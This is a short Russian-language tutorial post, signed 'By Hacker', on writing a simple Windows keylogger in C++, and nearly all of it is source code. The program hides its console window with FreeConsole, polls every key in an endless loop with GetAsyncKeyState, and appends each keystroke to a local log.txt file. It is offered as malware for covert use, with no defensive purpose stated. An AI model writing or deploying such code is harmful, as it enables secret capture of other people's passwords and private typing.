Простой KeyLogger на С++

Простой KeyLogger на С++


[Авторский контент]

Сегодня разбираем написание простого KeyLogger`а под Windows на С++. Поехали.

Инклудим библиотеки и включаем пространство имен std:

#include <iostream>

#include <Windows.h>

using namespace std;

Пишем протип функции для сохранения нажатых клавиш в файл:

int save(int _key, char *file);

Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер.

int main() {

   FreeConsole();

   char i;

   while (true) {

      Sleep(10);

      for (i = 8; i <= 255; i++) {

         if (GetAsyncKeyState(i) == -32767) {

            save(i, "log.txt");

         }

      }

   }

   return 0;

}

Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов.

int save(int _key, char *file) {

   cout << _key << endl;

   Sleep(10);

   FILE *OUTPUT_FILE;

   OUTPUT_FILE = fopen(file, "a+");

   if (_key == VK_SHIFT)

      fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

   else if (_key == VK_BACK)

      fprintf(OUTPUT_FILE, "%s", "[BACK]");

   else if (_key == VK_LBUTTON)

      fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");

   else if (_key == VK_RETURN)

      fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");

   else if (_key == VK_ESCAPE)

      fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");

   else

      fprintf(OUTPUT_FILE, "%s", &_key);

   fclose(OUTPUT_FILE);

   return 0;

}

Спасибо за внимание.

By Hacker

Report Page